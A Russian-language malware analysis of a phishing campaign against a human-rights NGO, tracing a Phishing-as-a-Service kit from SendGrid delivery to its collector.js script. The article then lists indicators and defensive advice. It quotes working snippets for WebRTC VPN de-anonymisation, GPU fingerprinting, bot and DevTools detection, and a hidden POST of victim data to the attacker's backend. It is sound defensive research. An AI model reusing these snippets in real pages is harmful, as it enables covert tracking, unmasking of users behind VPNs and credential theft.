Разбираем фишинговое письмо, пришедшее на адрес НКО: от SendGrid-доставки с SPF/DKIM pass до реверса JavaScript-фреймворка collector.js, который собирает GPU fingerprint, ломает WebRTC для раскрытия IP за VPN и детектирует DevTools — до того как жертва увидит фишинговую форму.

Статья документирует PhaaS-платформу (Phishing-as-a-Service) с лицензированием, wildcard DNS и двухэтапной архитектурой. IOC и технические индикаторы — в конце.

Что пришло

9 марта 2026 года на публичный адрес правозащитной организации пришло письмо:

  • From: Workspace Mail Management <sandeep@oesplindia[.]com>

  • Subject: Gmail pending messages: Release Incoming Messages from pooled storage

  • Reply-To: td@sevensounds[.]ae

Классика credential harvesting: «3 письма задержаны, нажмите кнопку для разблокировки». Подпись — «2026 Gmail Workspace System».

Интересно не само письмо (оно шаблонное), а инфраструктура за ним.

Доставка: SendGrid как щит

Письмо отправлено через SendGrid (Twilio), аккаунт user_id=60417945. Результат:

Проверка

Результат

Почему

SPF

pass

IP 149[.]72[.]123[.]24 — легитимный сервер SendGrid

DKIM

pass

Подпись sendgrid.net (s=smtpapi)

ARC

pass

Google подтвердил цепочку

DMARC

нет записи

oesplindia[.]com не настроил DMARC

Письмо попадает в inbox. Никаких предупреждений.

Домен отправителя — индийская электротехническая компания (Pune, зарегистрирована в 2019). SPF включает только Zoho.in, но не SendGrid — аккаунт SendGrid либо создан отдельно, либо скомпрометирован. На сервере (170[.]10[.]163[.]134) открыты FTP, MySQL, SNMP — вектор компрометации очевиден.

Reply-To — td@sevensounds[.]ae — event management компания из Дубая. Если жертва нажмёт «Ответить» вместо перехода по ссылке, ответ уйдёт атакующему.

Фишинговый URL: wildcard DNS + PhaaS

Ссылка в письме:

hxxps://maxillae890[.]bitnest[.]za[.]com/testatrix449/*email@жертвы

Разбираем:

Компонент

Значение

Назначение

Поддомен

maxillae890

Случайное слово — уникальный ID кампании

Домен

bitnest[.]za[.]com

PhaaS-платформа

Путь

/testatrix449/

Идентификатор оператора или кампании

Параметр

*email@жертвы

Персонализация фишинговой формы

za.com — это не южноафриканский ccTLD. Это коммерческий домен второго уровня, зарегистрированный с 1998 года через Sav.com. bitnest[.]za[.]com использует wildcard DNS: любой поддомен (проверены www, mail, admin, login, api, app, panel, webmail и произвольные слова) резолвит на Cloudflare CDN (188[.]114[.]96[.]11 / 188[.]114[.]97[.]11).

SPF домена — v=spf1 -all — намеренно блокирует исходящую почту. Домен используется только для хостинга фишинговых страниц.

Collector.js: реверс fingerprinting-фреймворка

При переходе по ссылке загружается не фишинговая форма, а минималистичная страница:

<title>Continue</title>
<script src="collector.js?v=21e981d0"
  data-u="https://demo.bitnest.za.com/testatrix449/"
  data-p="*email@жертвы">
</script>
<noscript><p>You need to enable JavaScript to continue.</p></noscript>

Вся логика — в collector.js. Вот что он делает.

Что собирает

Функция collect() перебирает объекты браузера через Object.getOwnPropertyNames() и складывает результаты в объект data:

Screen и Navigator — стандартный fingerprint: разрешение, глубина цвета, User-Agent, язык, платформа, количество плагинов, hardwareConcurrency.

WebGL GPU fingerprint:

var gl = d.createElement("canvas").getContext("webgl"),
    ext = gl.getExtension("WEBGL_debug_renderer_info");
data.webgl = {
  vendor: gl.getParameter(ext.UNMASKED_VENDOR_WEBGL),
  renderer: gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)
};

В песочнице renderer обычно выдаёт "SwiftShader" или "llvmpipe" — моментальный маркер виртуалки.

WebRTC IP leak — обход VPN:

var RTC = w.RTCPeerConnection || w.webkitRTCPeerConnection;
var pc = new RTC({
  iceServers: [{ urls: "stun:stun.l.google.com:19302" }]
});
pc.createDataChannel("");
pc.onicecandidate = function(e) {
  if (e.candidate) {
    var p = e.candidate.candidate.split(" ");
    data._rtc.push({ i: p[4], t: p[7], p: p[2] });
  }
};
pc.createOffer().then(function(o) { return pc.setLocalDescription(o); });

STUN-запрос к Google раскрывает реальный IP даже через VPN (если браузер не блокирует WebRTC). Бэкенд может сравнить IP из HTTP-запроса с IP из WebRTC — расхождение означает VPN/proxy.

Антибот — детектирование автоматизации:

var orig = Array.prototype.includes;
Array.prototype.includes = function() { data.proto = true; };
try { d.createElement("video").canPlayType("video/mp4"); } catch (e) {}
Array.prototype.includes = orig;

В Puppeteer и PhantomJS canPlayType может вызывать Array.prototype.includes — если data.proto === true, это бот.

Детектирование DevTools:

var fn = function() {}, cnt = 0;
fn.toString = function() { ++cnt; return ""; };
console.log(fn);
data.tostring = cnt;

При открытом DevTools console.log вызывает toString() для форматирования — счётчик cnt увеличивается. Если data.tostring > 0, значит кто-то наблюдает.

Прочее: Touch event support (мобильное устройство?), frame detection (window.self !== window.top — iframe?), visibilityState + pagehide (фоновая вкладка/закрытие).

Как отправляет

После сбора fingerprint и WebRTC (таймаут 120ms на STUN) скрипт создаёт скрытую HTML-форму и отправляет POST:

function send() {
  collect();
  net(function() {
    var frm = d.createElement("form");
    frm.method = "POST";
    frm.action = cfg;  // → demo.bitnest.za.com/testatrix449/
    frm.style.display = "none";

    // JSON fingerprint
    inp.name = "analytics";
    inp.value = JSON.stringify(data);

    // Email жертвы
    inp3.name = "_p";
    inp3.value = path;  // → *email@жертвы

    frm.submit();
  });
}

Три параметра POST: analytics (JSON со всем fingerprint), _h (URL hash), _p (email жертвы).

Двухэтапная архитектура

Платформа разделена на два домена:

  1. Landing (maxillae890[.]bitnest[.]za[.]com) — минималистичный HTML + collector.js. Уникальный поддомен для каждой кампании.

  2. Backend (demo[.]bitnest[.]za[.]com) — принимает POST с fingerprint, решает: показать фишинговую форму или заблокировать.

Зачем разделение? Если антифишинговый сервис заблокирует landing-домен, бэкенд остаётся живым для других кампаний. Wildcard DNS позволяет мгновенно создать новый поддомен.

Лицензирование: «Your license has expired»

При отправке POST на бэкенд (24 марта 2026) вместо фишинговой формы пришёл ответ:

<h1>⚠</h1>
<p>Your license has expired. Please renew to continue using the service.</p>

Это ключевая находка: кит лицензируется. Оператор покупает доступ к PhaaS-платформе, и при истечении подписки фишинг перестаёт работать — но инфраструктура (домен, DNS, Cloudflare) остаётся активной.

Параллель с Defisher (PhaaS для перехвата WhatsApp, который мы разбирали ранее): коммерческие фишинговые киты — растущий рынок с панелями управления, многопользовательской архитектурой и SaaS-моделью монетизации.

Инфраструктурная связь

Анализ Shodan выявил неожиданную связь:

IP

Домены

Хостер

91[.]193[.]42[.]16

sevensounds[.]ae (Reply-To) + exquisite[.]za[.]com

hostingww.com / AMANKA SARL

188[.]114[.]96/97[.]11

bitnest[.]za[.]com (фишинг)

Cloudflare CDN

Reply-To домен (sevensounds[.]ae) и поддомен exquisite[.]za[.]com хостятся на одном IP через одного провайдера (hostingww.com). Пространство za.com используется и в фишинговой платформе (bitnest.za.com), и на сервере Reply-To домена (exquisite.za.com).

Это может означать shared hosting, общего оператора или компрометацию хостинг-аккаунта с доступом к нескольким доменам.

IOC

Сетевые индикаторы

Тип

Значение

Контекст

URL

hxxps://maxillae890[.]bitnest[.]za[.]com/testatrix449/

Landing page

URL

hxxps://demo[.]bitnest[.]za[.]com/testatrix449/

Backend (POST)

Domain

bitnest[.]za[.]com

PhaaS-платформа, wildcard DNS, Cloudflare

Domain

oesplindia[.]com

Скомпрометированный домен отправителя

Domain

sevensounds[.]ae

Reply-To

IP

188[.]114[.]96[.]11

Cloudflare CDN

IP

188[.]114[.]97[.]11

Cloudflare CDN

IP

170[.]10[.]163[.]134

LiquidNet US, AS14555 (oesplindia)

IP

91[.]193[.]42[.]16

AMANKA SARL / AWS (sevensounds + za.com)

IP

149[.]72[.]123[.]24

SendGrid sending IP

Email

sandeep@oesplindia[.]com

From (скомпрометирован)

Email

td@sevensounds[.]ae

Reply-To

SendGrid

Параметр

Значение

User ID

60417945

Tracking domain

u60417945[.]ct[.]sendgrid[.]net

SMTP relay

s[.]wrqvtbkv[.]outbound-mail[.]sendgrid[.]net

Fingerprinting

Параметр

Значение

Скрипт

collector.js?v=21e981d0

STUN

stun:stun.l.google.com:19302

MITRE ATT&CK

ID

Техника

Применение

T1566.002

Spearphishing Link

Credential harvesting link в email

T1598.003

Phishing for Information

Browser fingerprinting + антибот

T1589.001

Gather Victim Identity: Credentials

Кража учётных данных Gmail

T1583.001

Acquire Infrastructure: Domains

PhaaS-платформа bitnest[.]za[.]com

T1583.006

Acquire Infrastructure: Web Services

Злоупотребление SendGrid

T1036.005

Match Legitimate Name

Имитация Gmail Workspace

T1217

Browser Information Discovery

WebGL, WebRTC, timezone fingerprinting

Что из этого следует

Для SOC/ИБ:

  • Блокировать *[.]bitnest[.]za[.]com в DNS-фильтре и прокси

  • Мониторить домены *[.]za[.]com в email-трафике — домен используется для PhaaS

  • collector.js?v=21e981d0 — маркер данной платформы в URL-логах

  • Паттерн URL: случайное_слово.домен/случайное_слово/*email — характерен для этого кита

  • SendGrid user_id 60417945 может использоваться для рассылки на другие организации

Для разработчиков антифишинга:

  • Двухэтапная архитектура (landing → fingerprint → backend) затрудняет автоматическое сканирование: на первом этапе фишинговой формы нет

  • WebRTC STUN-запрос деанонимизирует исследователей за VPN — учитывать при анализе в песочницах

  • Array.prototype.includes patching и console.log toString — антибот-техники, которые стоит эмулировать в краулерах

Для всех:

  • FIDO2 Security Key полностью исключает credential phishing — украденный пароль бесполезен без физического ключа

  • DMARC с p=reject не спас бы в этом случае (DKIM подписан sendgrid.net), но баннер «письмо от внешнего отправителя» мог бы насторожить